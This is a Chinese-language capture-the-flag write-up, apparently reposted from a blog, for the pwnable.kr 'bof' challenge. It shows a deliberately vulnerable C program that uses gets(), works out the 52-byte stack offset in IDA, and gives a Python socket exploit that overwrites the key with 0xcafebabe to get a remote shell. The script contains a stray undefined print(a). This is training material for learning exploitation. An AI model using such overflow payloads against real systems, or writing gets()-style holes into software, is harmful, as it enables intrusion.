pwnable.kr-bof

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);   // smash me!
    if(key == 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
}
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}

gets处的数组存在栈溢出的问题。

因为key和overflowme在同一个函数内,所以他们在同一个堆栈内,或者说是有相同的栈底(我的理解),可以通过溢出overflowme的栈来覆盖key原本栈内的内容。

用ida打开下载的bof

从gets上一行看,s是变量overflowme,从gets下一行的cmp(compare比较)可以看出arg_0是变量key。

再回到开头,可以看到overflowme的栈底是-2ch,key的栈底是8(实际上是8h,代表16进制的h不知道为什么省略了),所以两者相差了2*16+12+8=52字节,所以构造payload的时候应该是52字节加上0xcafebabe(数据入栈的时候就像往桶里倒水,栈底就是水桶底部位置,所以需要填满-2c到8的位置,然后输入的数据才能开始覆盖key原本的数据)

我决定使用python的socket套接字实现数据输入

# -*-coding:utf8 -*-
import socket
import telnetlib
import struct
def pwn():
	# 创建一个TCP socket
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	# 连接服务器的9000端口
	s.connect(("pwnable.kr",9000))
	# 构造payload
	print(a)
	payload = str.encode('A' * 52)+b'\xbe\xba\xfe\xca'#小端模式,所以0xcafebabe要反过来
	# 向服务器发送数据
	s.sendall(payload)
	# 创建一个telnet来产生一个控制服务器的shell
	t = telnetlib.Telnet() 
	t.sock = s
    #创建一个实时反应的窗口
	t.interact()
 
pwn()

代码参考:https://blog.csdn.net/u012763794/article/details/51992512

python3对payload和sendall函数的数据有了byte和string的要求,为此我了解到若是直接str.encode(\xbe\xba\xfe\xca),会变成\xc2\xbe\xc2\xba\xc3\xfe\xc3\xca,似乎是不同数据之间编码码元不同导致的。

b:bytes 
python3.x里默认的str是(py2.x里的)unicode, bytes是(py2.x)的str, b''前缀代表的就是bytes 
python2.x里, b前缀没什么具体意义, 只是为了兼容python3.x的这种写法

参考:https://blog.csdn.net/u010496169/article/details/70045895

猜你喜欢

转载自blog.csdn.net/qq_35661990/article/details/82561740